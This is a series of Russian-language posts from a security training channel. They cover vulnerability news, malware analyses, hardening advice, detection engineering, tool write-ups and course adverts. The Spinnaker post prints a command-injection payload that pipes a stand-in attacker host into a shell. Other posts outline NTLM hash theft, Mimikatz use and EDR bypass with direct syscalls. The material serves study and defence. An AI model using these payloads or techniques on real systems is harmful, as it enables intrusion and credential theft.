Процесс извлечения полезной нагрузки осуществляется следующим образом:
1️⃣ Скрипт создает файл с именем init.json в домашнем каталоге пользователя, чтобы предотвратить его повторное выполнение в течение примерно двух дней.
2️⃣ Скрипт опрашивает RPC-терминалы Solana каждые 10 секунд на предмет транзакций, связанных с конкретным адресом кошелька.
3️⃣ При обнаружении транзакции, содержащей поле типа "memo", скрипт рассматривает это поле как контейнер команд.
4️⃣ Числовой префикс удаляется, а оставшееся содержимое анализируется как конфигурационные данные в формате JSON.
5️⃣ JSON-файл содержит закодированный в base64 URL-адрес, указывающий на полезную нагрузку второго этапа.
6️⃣ Скрипт декодирует URL-адрес и загружает полезную нагрузку, отправляя при этом операционную систему хоста в составе запроса.
7️⃣ Заголовки ответа содержат дополнительные параметры, такие как ivbase64 и secretkey .
8️⃣ Полезная нагрузка декодируется в формате base64 и выполняется непосредственно в памяти с помощью eval или виртуальной машины Node.js в изолированной среде на системах, отличных от macOS.

➡️ Встречали подобную атаку ранее?

#npm #malware #react #research

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

Windows - В С Ё!

🌐 Microsoft подтвердила активную эксплуатацию уязвимости CVE-2026-32202 в компоненте Windows Shell, которая позволяет красть учётные данные через SMB-аутентификацию. Эта проблема возникла из-за неполного патча для предыдущей уязвимости CVE-2026-21510, выпущенного в феврале 2026 года.

🕸 Уязвимость относится к классу spoofing (CVSS 4.3), но реальный риск выше из-за возможности латерального перемещения в сети. При просмотре папки с вредоносным LNK-файлом (ярлыком) Windows Shell автоматически разрешает UNC-путь в файле, инициируя SMB-соединение с сервером злоумышленника. В результате атакующий получает NTLMv2-хеш учётных данных пользователя без клика или запуска файла — достаточно открыть папку.

🧿 Изначально CVE-2026-21510 эксплуатировалась в атаках на Украину и ЕС в декабре 2025 года; февральский патч заблокировал RCE, но оставил вектор кражи credentials. Полное исправление вышло 14 апреля 2026 в Patch Tuesday (KB5083769 для Windows 11 24H2/25H2), но Microsoft 27 апреля обновила статус, подтвердив exploitation в wild. 28 апреля CISA добавила CVE в KEV-каталог.

↗️ Вектор эксплуатации CVE-2026-32202 основан на автоматическом разрешении UNC-путей в Windows Shell при просмотре папки с вредоносным LNK-файлом (ярлыком), что приводит к принудительной SMB-аутентификации без выполнения файла. Это zero-click сценарий: жертве достаточно открыть папку в Проводнике, чтобы система инициировала NTLM-аутентификацию на контролируемый атакующим сервер:

Цепочка атаки:
1️⃣ Доставка payload: Злоумышленник размещает LNK-файл с UNC-путём вида \\server\share\file.lnk в доступной папке — через email-вложение, фишинговую ссылку на SMB-шар или сетевой ресурс.
2️⃣ Автоматическое разрешение: Жертва открывает папку в Проводнике; Windows Shell парсит LNK и автоматически резолвит UNC-путь, устанавливая SMB-соединение с server от имени текущего пользователя.
3️⃣ Кража NTLMv2-хеша: Сервер захватывает NTLMv2-челлендж/респонс (хеш пароля), не требуя клика по файлу — механизм защиты не блокирует сетевой вызов.
4️⃣ Постэксплуатация: Хеш используется для relay-атаки (NTLM relay на DC для DCSync или lateral movement), оффлайн brute-force или Pass-the-Hash

⬇️ Необходимо установить последнее обновление безопасности Windows KB5083769, отключить SMBv1 и спрятаться под одеяло мониторить UNC/LNK-файлы в сетевом трафике

#windows #cve #smb #lnk

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

Три громких утечки, которые ловились одной командой в терминале

Capital One — избыточные привилегии IAM-роли. Майнинг криптовалюты на сайте Los Angeles Times — S3-бакет с ACL public-read-write. Вредоносный код в Twilio SDK — снова открытый бакет. Три инцидента на миллионы долларов, три мисконфигурации, которые ловятся одним проходом checkov -d . по Terraform-шаблону. Но только если сканирование вообще настроено.

NSA в отчёте Mitigating Cloud Vulnerabilities прямо называет мисконфигурации наиболее распространённой уязвимостью облачных сред. А по данным IBM, среднее время обнаружения такого инцидента часто превышает шесть месяцев. В pipeline та же проблема находится за секунды. Разница — в точке, где вы проверяете.

🔍 Тысячи правил в IaC-сканерах сводятся к пяти категориям мисконфигураций:

• Публичный доступ к ресурсам — открытые бакеты, базы данных с publicly_accessible = true, сервисы без ограничения source IP
• Избыточные IAM-привилегии — политики с "Action": "*" и "Resource": "*", дающие полный контроль над аккаунтом
• Отсутствие шифрования — EBS-тома, RDS, S3 без encryption, HTTP без TLS
• Отключённое логирование — CloudTrail не во всех регионах, VPC Flow Logs не настроены, Kubernetes audit logging выключен
• Избыточный сетевой доступ — Security Group с 0.0.0.0/0 на порт 22 или 3389

Каждая категория — прямой enabler для конкретных тактик MITRE ATT&CK. Открытый бакет — это T1580 (Cloud Infrastructure Discovery). Wildcard-роль — T1078.004 (Cloud Accounts). Пробел в логировании — T1562.008 (Disable Cloud Logs), и атакующему даже не нужно ничего отключать, потому что вы сами не включили.

⚙️ Отдельная боль — выбор между сканированием HCL-кода напрямую и сканированием Terraform Plan. Первый подход быстрый, не требует credentials, ставится как pre-commit hook. Но он не видит результат интерполяции переменных. Если значение ACL приходит из var.bucket_acl с дефолтом private, а при деплое кто-то передаёт public-read-write через флаг -var — сканер этого не увидит.

Сканирование Plan JSON решает эту проблему: все переменные уже разрешены, вы видите реальные значения. Но нужен доступ к state backend и cloud API. Оптимальная стратегия — оба подхода последовательно: HCL-сканирование на pre-commit, Plan-сканирование в CI перед apply.

🛡 И ключевой момент: параллельно с preventive-сканированием стоит строить detection-правила в SIEM. Алерт на PutBucketAcl с публичными параметрами, на AttachRolePolicy с wildcard, на AuthorizeSecurityGroupIngress с CIDR 0.0.0.0/0 — это ваша страховка на случай, когда pipeline обошли.

В полной статье — готовые примеры Terraform-кода с мисконфигурациями, маппинг на MITRE ATT&CK и конкретные detection-правила для каждой категории.

https://codeby.net/threads/bezopasnost-infrastructure-as-code-ot-miskonfiguratsii-v-terraform-do-detection-pravila-v-siem.92969/

Читать полностью…

6 строк кода вместо 4 часов реверса: как символьное исполнение ломает CTF-таски

На CSAW CTF 2015 задача «wyvern» из категории Reversing 500 содержала бинарь с десятками вложенных проверок ввода. Ручной реверс в Ghidra — часы работы. Скрипт на 6 строках angr решил её за 15 минут. Автоматически сгенерировал входные данные, удовлетворяющие каждому условию. Не магия, а математика.

🔬 Суть подхода простая. Вместо конкретных значений на вход подаются символические переменные — абстракции, которые могут быть чем угодно. На каждом ветвлении (if, switch, граница цикла) движок создаёт два состояния и накапливает ограничения. В целевой точке — например, при вызове puts("Access granted") — всё передаётся SMT-солверу Z3, который решает систему уравнений и возвращает конкретный ввод. Никакого перебора — чистая математическая задача.

Если целевой точкой назначить вызов strcpy с контролируемым буфером, солвер найдёт ввод, приводящий к buffer overflow. Это уже не CTF — это автоматический поиск уязвимостей в реальных бинарях.

⚡️ Но есть нюансы. Главный враг — path explosion. Каждое ветвление удваивает число состояний. Цикл на 1000 итераций с условием внутри — теоретически 2^1000 путей. А если проверка включает SHA-256 или другую криптографию, Z3 просто не решит constraints за разумное время. Поэтому символьное исполнение — фильтр, а не серебряная пуля.

Теперь к выбору инструмента. Три основных фреймворка:

• angr — самый зрелый и живой. Поддерживает x86/x64, ARM, MIPS. Еженедельные коммиты, богатая документация, десятки готовых примеров. На FlareOn 2015 Challenge 5 — решение за 2 минуты 10 секунд. ASIS CTF Finals 2015 — 3.6 секунды. Лучший выбор для CTF, пентеста, автоматизации рутинного реверса.

• Manticore — от Trail of Bits. Уникальная фишка — поддержка смарт-контрактов Ethereum. Помог обнаружить CVE-2020-5232 (CVSS 8.7) в Ethereum Name Service. Но разработка фактически остановилась — начинать новый проект на нём рискованно.

• Triton — заточен под динамический анализ. Работает не с абстрактным исполнением всех путей, а с конкретной трассой. Идеален для деобфускации, снятия MBA-выражений, точечного анализа конкретного пути исполнения.

🎯 Простое правило выбора: нужен автоматический обход всех путей — angr. Аудит смарт-контрактов — Manticore (с оговорками). Работа с конкретной трассой и деобфускация — Triton.

В полной статье — рабочий код для каждого фреймворка, decision tree выбора инструмента и честный разбор граничных случаев, где символьное исполнение ломается.

https://codeby.net/threads/simvol-noye-ispolneniye-dlya-poiska-uyazvimostei-angr-manticore-i-triton-na-praktike.92962/

Читать полностью…

Две девятки по CVSS в Spinnaker: как обычная учётка превращается в shell на production

Spinnaker — платформа для управления деплоями от Netflix, которую используют Google, Cisco и сотни enterprise-команд. В апреле 2026 года в ней нашли две критические уязвимости с оценкой CVSS 9.9. Обе эксплуатируются пользователем без привилегий — достаточно просто быть аутентифицированным.

🔥 CVE-2026-32604 — command injection в clouddriver. Поле version из JSON-запроса к эндпоинту PUT /artifacts/fetch конкатенируется прямо в shell-команду без какой-либо санитизации. Буквально: clouddriver берёт пользовательский ввод и подставляет его в sh -c "git clone --branch YOUR_INPUT...". Точка с запятой в поле version — и вместо клонирования репозитория clouddriver выполняет произвольный код. Никаких специальных ролей не нужно — ни WRITE на application, ни EXECUTE на pipeline.

🔑 CVE-2026-32613 — SpEL-инъекция в Echo, сервисе нотификаций и триггеров. Spring Expression Language позволяет выполнить произвольный Java-код на сервере. Тут нужен WRITE на одно application, но результат тот же — полный RCE.

Почему это так больно? Архитектура Spinnaker построена на модели доверия периметру: Gate аутентифицирует запросы на входе, а дальше все 10+ микросервисов общаются друг с другом внутри Kubernetes-кластера без проверки прав. Получил shell на clouddriver — а там лежат production-credentials к AWS, GCP, Azure. Полностью доверенная зона, без токенов, без вопросов.

⚡️ Цепочка эксплуатации CVE-2026-32604 выглядит до обидного просто:

1. Аутентифицироваться в Gate (любая учётка)
2. Запросить GET /artifacts/credentials — эндпоинт отдаёт список всех artifact accounts без проверки ролей
3. Найти аккаунт с типом TOKEN или USER_PASS
4. Отправить PUT /artifacts/fetch с payload вида "version": "main; curl attacker|sh;"

Всё. Command injection уровня «первый семестр secure coding», а CVSS — 9.9. Clouddriver выполнит ваш скрипт с правами пода, в котором хранятся ключи от production-облаков.

Что делать прямо сейчас:

• Обновиться до Spinnaker 2026.0.1, 2025.4.2 или 2025.3.2
• Проверить, не торчит ли Gate наружу (ZeroPath находила публичные инстансы)
• Аудит artifact accounts — убрать неиспользуемые TOKEN/USER_PASS аккаунты
• Внедрить network policies между микросервисами — модель «доверяй всем внутри кластера» в 2026 году уже не работает

В полной статье — разбор обоих векторов до уровня конкретных строк кода, post-exploitation и то, что видит и не видит blue team.

https://codeby.net/threads/cve-2026-32604-i-cve-2026-32613-rce-v-spinnaker-ot-low-priv-autentifikatsii-do-shell-na-clouddriver-i-echo.92955/

Читать полностью…

120 машин с Windows 10 — и ни одна не готова к EOL

На трёх последних внутренних пентестах — банк, производство, госструктура — картина одинаковая: дефолтные GPO, открытый SMBv1, LSASS без защиты. Mimikatz снимал хеши за секунды, а Pass-the-Hash давал lateral movement до контроллера домена за минуты. И это ещё до окончания поддержки.

После 14 октября 2025 каждая новая CVE в ядре Windows 10 становится перманентным 0-day. Microsoft патчит Windows 11 — diff между версиями публикуется открыто. Злоумышленник берёт октябрьский Patch Tuesday для Windows 11, reverse-diff'ит и пишет эксплойт для «десятки», где fix не появится никогда. Это не теория — после EOL Windows 7 массовая эксплуатация началась за считанные месяцы.

🔍 Что проверить в первую очередь

Вот шесть точек, которые я проверяю и как атакующий, и как автор рекомендаций в отчёте:

• RunAsPPL в реестре — значение 0 или отсутствует? Mimikatz снимет хеши без усилий
• EnableSMB1Protocol = True? Хост открыт для relay-атак и целого класса RCE
• UAC level = 5 (дефолт)? Обход через десятки публичных техник
• Credential Guard не активен? NTLM-хеши лежат в памяти открытым текстом
• PowerShell в режиме FullLanguage? Любой payload выполнится без ограничений
• WDigest не отключён? Пароли хранятся в памяти в открытом виде даже при включённом RunAsPPL

⚙️ Три быстрых действия, которые поднимают планку атаки на порядок

1. Включить RunAsPPL: одна строка в реестре, перезагрузка — и стандартный Mimikatz ловит ошибку доступа. Обход через BYOVD требует kernel-level доступа и конкретного уязвимого драйвера. Совсем другой уровень сложности.

2. Отключить WDigest: ключ UseLogonCredential = 0. Без этого пароли валяются в памяти в открытом виде. Видел на реальном проекте — RunAsPPL включили, WDigest забыли. Половина работы впустую.

3. Убить SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Протокол из 2006 года не нужен в 2025-м. Если что-то сломается — значит в сети есть legacy-система, которая сама по себе проблема.

🛡 Важный нюанс: сигнатуры Defender будут приходить до 2028 года. Но антивирус ловит известные вредоносы, а не закрывает дыру в win32k.sys или ntoskrnl.exe. Это как замок на двери с дырой размером с кулак.

Для автоматизации аудита — HardeningKitty прогоняет хост по CIS Benchmark, а PingCastle сканирует AD целиком.

Полный чеклист с командами, GPO-настройками и привязкой к MITRE ATT&CK — в статье на форуме.

https://codeby.net/threads/khardening-windows-10-11-posle-okonchaniya-podderzhki-cheklist-dlya-pentestera-i-administratora.92954/

Читать полностью…

🚗 Новый профиль HackerLab: прогресс, достижения и активность

Мы переработали профиль пользователя на HackerLab.

Теперь это не просто страница с базовой статистикой, а полноценная карта прогресса: какие задания уже решены, в каких направлениях пользователь силён, где есть зоны роста и куда двигаться дальше.

➕ Что добавили:
— общий прогресс по заданиям, курсам, пентест-машинам и PRO-лабам
— компетенции по направлениям
— сильные стороны и зоны роста
— история активности

🏆 И новая механика — достижения

Достижения открываются за конкретные шаги на платформе: первое решённое задание, новые рубежи, стабильное движение по таскам.

Теперь прогресс не растворяется в общей статистике - он остаётся в профиле и показывает путь пользователя на платформе.

🔗 [Поделиться профилем]

Читать полностью…

Друзья, напоминаем, на каких курсах начинается обучение в мае🚗

Старт 4 мая:
⏺️Курс «Основы кибербезопасности» — освоите ключевые навыки информационной безопасности: от основ Linux до проведения пентестов.

Старт 18 мая:
⏺️Курс «Профессия Реверс-инженер» — научитесь анализировать бинарный код на уровне ассемблера, разбирать исполняемые файлы (PE, ELF, APK), исследовать вредоносное ПО и обходить антиотладку с протекторами.

Старт 25 мая:
⏺️Курс «Профессия Пентестер» — учимся эксплуатировать онлайн-уязвимости и обходить антивирусы. Изучаем инструменты: сканеры, Bash-скрипты, пентест AD.
⏺️Курс «Профессия AppSec-инженер» — научитесь анализировать код, находить уязвимости, строить безопасную архитектуру и применять OWASP-практики на реальных проектах.

✉️ Запишитесь у нашего менеджера @CodebyAcademyBot

Или узнайте подробности и программы курсов на нашем➡️ сайте

Читать полностью…

Dracnmap

Dracnmap — это программа с открытым исходным кодом, используемая для анализа сети и сбора информации с помощью nmap. Команда nmap имеет множество опций, которые делают утилиту более надежной и сложной для освоения новыми пользователями. Поэтому Dracnmap разработан для быстрого сканирования с использованием скриптового механизма nmap, а nmap может выполнять различные методы автоматического сканирования с помощью расширенных команд.

📐Возможности:
📉Регулярное сканирование
📉Сканирование нескольких IP-адресов
📉Сканирование версии ОС и трассировка маршрута
📉Выявление Firewall
🖱Обход Firewall

⬇️Установка:
0️⃣Клонируем репозиторий и переходим в рабочую директорию:

git clone https://github.com/Screetsec/Dracnmap.git

cd Dracnmap

1️⃣Даём право only execute для владельца.

chmod 100 dracnmap-v2.2.sh 

⛓️‍💥Запуск:
▶️Запуск утилиты:

sudo bash dracnmap-v2.2.sh

#web #wapt #nmap

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

🪤 Ханипот, который не обмануть: как ИИ удерживает хакера в ловушке

Классический ханипот палится за секунду. Shodan индексирует Cowrie по баннеру автоматически — одинаковый на каждом экземпляре. Нестандартная команда всегда возвращает один и тот же command not found. Ответ прилетает за микросекунды — реальный сервер так не работает. Опытный атакующий или автономный AI-агент распознаёт это мгновенно и рвёт соединение.

🤖 Исследователи из Palisade Research пошли дальше и встроили LLM прямо в ханипот. За несколько месяцев их модифицированный Cowrie собрал миллионы SSH-сессий. Среди них нашлась как минимум одна, предположительно принадлежавшая автономному AI-агенту — среднее время ответа 1–2 секунды, что характерно для языковой модели, а не для человека. Статический ханипот не поймал бы и этого.

Почему динамика решает? LLM-ловушка генерирует уникальный ответ на каждую команду. Нет двух одинаковых выводов ls /tmp. Файловая система строится на лету: cd /var/log покажет правдоподобные логи, а не пустую директорию. Тайминг ответа варьируется от 200 до 1500 мс — как у настоящего сервера. Сессионная память поддерживает диалог: ловушка «помнит» предыдущие команды и отвечает последовательно.

📊 По данным исследования VelLMes (CTU, 2024), около 45% участников ошибочно приняли LLM-ханипот за реальный шелл — тогда как Cowrie палился значительно чаще. Для SOC-команды это означает одно: атакующий расслабляется, проводит в ловушке дольше и сливает TTPs. Больше данных — больше IOC для корреляции в SIEM.

🔧 Технически всё строится без магии. Единый asyncio-сервер на одном порту плюс правило nftables, которое заворачивает весь входящий TCP:

nft add rule ip honeypot prerouting iif "eth0" tcp dport != { 22, 8443 } redirect to :8443

Одна строка — и все 65 535 портов под наблюдением. Сервер через SO_ORIGINAL_DST вытаскивает оригинальный порт назначения и выбирает нужный prompt-шаблон: порт 80 — эмуляция HTTP, порт 25 — SMTP-баннер, порт 3306 — MySQL greeting. LLM-бэкенд при этом можно запустить локально через Ollama (от 8 ГБ RAM) или подключить облачный API — тогда хватит и 2 ГБ.

Оптимальная схема — гибридная. Ollama обрабатывает массовый трафик: сканирования Masscan, однокомандные боты, брутфорс-ботнеты. Облачный API подключается для длинных сессий, где атакующий явно проводит разведку вручную или использует агента. Качество эмуляции выше, данные ценнее.

Полная инструкция по развёртыванию, настройке корреляции в SIEM и превращению сырых логов в detection rules — в статье на форуме.

https://codeby.net/threads/llm-honeypot-sozdayem-lovushku-na-baze-yazykovoi-modeli-dlya-monitoringa-portov.92942/

Читать полностью…

Почему скорборд падает на 40-й минуте — и как это не допустить

🔥 300+ участников, динамический скоринг в CTFd, и база данных — SQLite по дефолту. Именно так выглядит рецепт катастрофы на реальном Jeopardy. Скорборд лёг через сорок минут после старта: динамический скоринг пересчитывал стоимость тасков при каждом сабмите, а SQLite просто не справился с нагрузкой. Итог — перезапуск, миграция на PostgreSQL, потеря двух раундов и час разборок в чате. Одна конфигурационная ошибка, которую тест за 10 минут поймал бы ещё до старта.

Организация CTF — это инженерная задача, а не «закинул таски на платформу и открыл регистрацию». Каждая деталь имеет значение.

⚙️ Три формата — три разных уровня боли

Jeopardy — самый доступный старт. Команды решают независимые таски из категорий web, crypto, pwn, reverse, forensics и других, сдают флаги вида flag{s0m3_t3xt} и получают очки. Масштабируется от 10 до 1000+ команд без изменения инфраструктуры. Главная трудность здесь — не сервера, а сами задания. Каждый таск нужно проверить на unintended-решения: один реальный кейс — таск по crypto за 500 очков решался командой strings на бинарнике, потому что автор забыл убрать дебаг-вывод. Второй автор нашёл бы это за минуту.

Attack-Defense — совсем другая история. Каждая команда получает идентичный уязвимый сервер (vulnbox) и одновременно атакует противников и защищает себя. Игра идёт по тикам — раундам длиной 1-5 минут. Отошёл на обед — потерял 20 тиков. Классическая ловушка: команда блокирует все входящие соединения через iptables -P INPUT DROP и радуется, что её «не сломают». Через тик gameserver фиксирует DOWN — и SLA-очки улетают в ноль. Нельзя просто выключить сервис и стать неуязвимым: в этом и есть главный баланс формата.

🛡 Скоринг: где ошибаются чаще всего

Статический скоринг прост: 100 очков за easy, 500 за hard. Но если организатор ошибся в оценке сложности и «хард» решили 80% команд — баланс турнирной таблицы рушится. Динамический скоринг решает эту проблему: чем больше команд решило таск, тем меньше он стоит. Но именно здесь живёт та самая история с SQLite — при большом потоке сабмитов база данных просто не выдерживает. Мигрируй на PostgreSQL до старта, а не во время.

💡 Хочешь разобрать полную механику скоринга, античит и выбор инфраструктуры — читай статью целиком.

https://codeby.net/threads/organizatsiya-ctf-sorevnovanii-formaty-skoring-i-antichit-na-praktike.92940/

Читать полностью…

Когда SIEM молчит три недели подряд

APT-группировка три недели гоняла C2-трафик через Google Sheets API — и ни одного алерта в Splunk. Домен sheets.googleapis.com стоял в allow-листе прокси, TLS-сертификат валидный, порт 443. Для SIEM это была обычная рабочая активность.

🔍 Это не косяк одного SOC — проблема системная. По данным CrowdStrike Global Threat Report 2025, 79% атак обходятся без вредоносного ПО. Атакующие используют легитимные сервисы — Google Sheets, OneDrive, Slack — и встроенные инструменты ОС. Репутационные блоклисты здесь бессильны: попробуй заблокировать graph.microsoft.com, не сломав половину офисных процессов.

Эта концепция называется LOTS — Living Off Trusted Sites. Если LOTL — это злоупотребление встроенными утилитами ОС (PowerShell, certutil), то LOTS переносит ту же философию на сетевой уровень. Трафик идёт к доменам, которым доверяет каждый прокси, каждый DLP и каждый аналитик SOC.

⚡️ В терминах MITRE ATT&CK это техника T1102 (Web Service) с двумя ключевыми подтипами:

• Dead Drop Resolver (T1102.001) — имплант читает команды из публичного ресурса (Google Sheets, Pastebin). Трафик однонаправленный, только GET.
• Bidirectional Communication (T1102.002) — имплант и получает команды, и отправляет результаты через один сервис. OneDrive через Graph API, Slack через Bot API.

🎯 Как это выглядит на практике? APT29 (Midnight Blizzard) использовала Graph API для управления и эксфильтрации — это зафиксировали Microsoft и Mandiant. Схема простая: имплант авторизуется через OAuth2, читает файл-команду из OneDrive-папки, выполняет, пишет результат обратно. Всё через graph.microsoft.com — легитимный домен, легитимный порт, легитимный сертификат.

Что реально работает для детектирования? Смотреть не куда идёт трафик, а кто и как его генерирует.

• Какой процесс обращается к sheets.googleapis.com? Браузер — норма. svchost.exe или powershell.exe — красный флаг.
• Регулярные интервалы запросов? C2-beacon стучит с фиксированным jitter (±10–20%), живой пользователь так не работает.
• OAuth-токены с разрешениями Files.ReadWrite.All у неизвестных приложений? Повод для немедленного расследования.

📊 По данным Mandiant M-Trends 2025, медианное время нахождения атакующего в сети — 11 дней, а 57% организаций от третьей стороны. Если ваш SIEM видит HTTPS-соединение к graph.microsoft.com от svchost.exe и молчит — вы в этих 57%.

🛡 В полной статье — готовые Sigma и YARA правила под каждый из каналов, маппинг на MITRE ATT&CK и пошаговый playbook для деплоя детектирующей логики.

https://codeby.net/threads/detektirovaniye-apt-cherez-oblachnyye-c2-kanaly-sigma-i-yara-pravila-dlya-google-sheets-onedrive-i-slack.92928/

Читать полностью…

🧠В апреле 2026 года итальянская правозащитная организация Osservatorio Nessuno опубликовала расследование о новом шпионском ПО — Morpheus. Это «low-cost» инструмент, который, тем не менее, способен полностью захватить контроль над WhatsApp* жертвы. Его главная особенность не в технической сложности (0-day уязвимостей здесь нет), а в схеме распространения: зловред устанавливается при активной помощи вашего же сотового оператора.

👉Morpheus не умеет проникать в телефон «по воздуху» (Zero-click), как Pegasus от NSO Group. Он действует грубее, но эффективнее: жертву вынуждают установить приложение добровольно.

Пошаговая схема инцидента:
1️⃣По запросу заказчика (спецслужб) мобильный оператор намеренно блокирует мобильный интернет у конкретного абонента
2️⃣Жертве приходит сообщение якобы от оператора или производителя телефона. Текст убеждает: для восстановления связи необходимо установить «критическое обновление прошивки»
3️⃣Пользователь скачивает APK-файл и предоставляет ему разрешения
4️⃣Morpheus запрашивает доступ к функции «Специальные возможности» (Accessibility).
Это разрешение аналогично предоставлению root-доступа. ПО получает возможность читать содержимое экрана, нажимать кнопки от имени пользователя и управлять другими приложениями.

🔎Получив контроль над интерфейсом, Morpheus разыгрывает перед пользователем финальный спектакль.
▶️Сначала на экране появляется фальшивое уведомление о системном обновлении с имитацией перезагрузки телефона.
▶️Затем зловред подсовывает жертве идеальную копию интерфейса WhatsApp*. Пользователь видит запрос: «Подтвердите личность с помощью биометрии (отпечаток пальца / Face ID)».

На самом деле этот жест добавляет устройство злоумышленника в аккаунт WhatsApp* жертвы. Хакер получает синхронизированный доступ ко всем перепискам, контактам и медиафайлам в реальном времени.

🧿Код, пахнущий спагетти
Исследователи связали Morpheus с компанией IPS Intelligence Public Security (Италия).
▶️IPS более 30 лет работает на рынке Lawful Interception (легальный перехват), поставляя технологии для полиции и разведки.
▶️Компания представлена в более чем 20 странах.
▶️Аналитики нашли в программе фрагменты, выдающие разработчиков: библиотека libaprafocofb (отсылка к телеоговорке ведущего), класс GomorraException (сериал об итальянской мафии) и переменная spaghettiTime.

«Мы не можем раскрыть личность цели, но атака связана с политическим активизмом в Италии. Такие точечные удары здесь — обычное дело» — заявили исследователи.

#Morpheus #ШпионскоеПО #Android #WhatsApp #Фишинг #news

*Принадлежит Meta, признанной экстремистской и запрещенной в РФ

🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером

Читать полностью…

⚡️ Ноутбук, подписка и сотни фишинговых кампаний в день

Пять минут. Пять промптов. Готовая фишинговая кампания, заточенная под конкретную компанию. Для сравнения: опытному red-team специалисту на то же самое нужно 16 часов ручной работы.

Это не прогноз на будущее — это данные из эксперимента IBM, которые описывают сегодняшний день.

🎯 Почему малый бизнес — главная цель

Логика атакующих проста: в SMB есть доступ к платёжным системам и данным клиентов. При этом защита — один IT-специалист «на всё», без выделенного SOC. Почтовая инфраструктура типичная: Microsoft 365, базовый Exchange Online Protection, DMARC p=none. Атакующим хватает пятнадцати минут скрапинга LinkedIn и одного промпта в LLM, чтобы сгенерировать письмо, которое проходит через Secure Email Gateway без единого алерта.

Бухгалтер открывает «акт сверки», потому что в письме — правильные реквизиты контрагента и номер реального договора. Откуда они у атакующего? Открытые источники, LinkedIn, пара минут парсинга.

📊 Цифры, которые меняют восприятие

• Кликабельность AI-генерированного фишинга — 54% против 12% у традиционного (эксперимент Heiding, Schneier et al., HBR 2024)
• Рост числа вредоносных email-сообщений — 4151% с момента запуска ChatGPT (SlashNext 2024)
• В 2025 году AI-агенты в целевом фишинге превзошли опытных red-team специалистов на 24% (Hoxhunt); двумя годами ранее уступали им на 31%

Разворот за два года — от «уступает людям» до «обходит экспертов». AI не устаёт, не ленится и не забывает проверить LinkedIn перед отправкой.

🔓 Что реально работает против AiTM-атак

Отдельная история — adversary-in-the-middle фишинговые киты. Они перехватывают не только credentials, но и session tokens в реальном времени. Это означает обход push-based MFA — той самой защиты, на которую многие SMB полагаются как на серебряную пулю.

На симуляциях с Evilginx2 — 100% обход push MFA, включая number matching, в Microsoft 365 без conditional access policies. Единственное, что держит удар — phishing-resistant MFA: FIDO2/WebAuthn с domain binding.

После успешного фишинга SMB-компания становится входной точкой для ransomware или используется как stepping stone в атаках на цепочки поставок. По данным Softline, доля атак, приводящих к остановке деятельности, выросла с 31% до 47% за один год.

Для компании на 50 сотрудников это не «неприятный инцидент» — это закрытие бизнеса.

В полной статье — конкретные detection rules для SIEM, чеклист аудита почтовой инфраструктуры и бюджетный антифишинговый стек для компании на 20–200 человек. Читайте полную версию 👇

https://codeby.net/threads/ai-fishing-ataki-na-malyi-biznes-detection-audit-i-zashchita-v-2026.92917/

Читать полностью…

🔍 Российские EDR под микроскопом: где слепые пятна?

Большинство «обзоров» отечественных EDR-решений — это пересказ маркетинговых PDF со скриншотами дашбордов. Красивые графики, зелёные галочки, «99.7% детектирования». Ни слова о том, где у этих систем реальные слепые пятна.

Разберём три решения — Kaspersky EDR Expert, PT Sandbox и SEKOIA XDR — с позиции Red Team оператора.

⚙️ Как каждый из них «видит» мир

Kaspersky EDR Expert — наиболее зрелый агент из тройки. Телеметрия строится на kernel-mode callbacks, подписке на ETW-провайдеры (Microsoft-Windows-Kernel-Process, DotNET и другие) плюс предположительно userland-хуки на ntdll.dll. По независимым тестам AV-TEST (декабрь 2023 — март 2024) продукт уверенно детектирует атаки в стиле APT18 и техники группировок TA577/Turla/FIN6. Вывод практический: коробочные техники из публичных фреймворков здесь не пройдут.

PT Sandbox — другой зверь. Это прежде всего песочница для динамического анализа, а не классический endpoint-агент. Файл запускается в изолированной VM, система фиксирует API-вызовы, сетевые соединения, изменения файловой системы и реестра. Для атакующего это означает смещение акцента на anti-sandbox техники (MITRE T1497). Интересный контекст: 74% российских компаний считают себя недостаточно защищёнными от целевых атак — именно поэтому Positive Technologies строит «матрёшку» из EPP + EDR + Sandbox.

SEKOIA XDR — европейская SOC-платформа без собственного endpoint-агента. Телеметрию она получает через сторонние инструменты: Sysmon, Microsoft Defender, Wazuh. Плюс очевиден — низкая нагрузка на хосты. Минус тоже: глубина мониторинга определяется возможностями стороннего агента, а не самой платформой.

🎯 Три разных цели — три разных подхода

Для Red Team это принципиально:

• Против Kaspersky EDR — работаешь с обходом хуков и kernel callbacks
• Против PT Sandbox — фокус на anti-sandbox и anti-VM техниках
• Против SEKOIA — оцениваешь глубину телеметрии конкретного агента-поставщика и обходишь корреляционные правила

🛠 Техника прямых syscall: почему это работает

Современные EDR, включая Kaspersky, устанавливают inline-хуки на ключевые функции ntdll.dll: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx. Каждый вызов перехватывается, параметры логируются, подозрительные комбинации блокируются.

Direct Syscalls обходят это через вызов системных функций напрямую инструкцией syscall, минуя ntdll.dll и установленные на ней хуки. Инструменты вроде SysWhispers3 генерируют ассемблерные стабы с актуальными номерами syscall для разных версий Windows. Но и здесь есть нюанс: зрелые EDR умеют детектировать прямые syscall-вызовы по характерным паттернам в стеке вызовов.

📖 Полная методология тестирования, разбор лабораторной среды и конкретные техники обхода — в статье на форуме.

https://codeby.net/threads/obkhod-edr-rossiiskiye-resheniya-pt-sandbox-kaspersky-edr-i-sekoia-testiruyem-s-pozitsii-red-team.92906/

Читать полностью…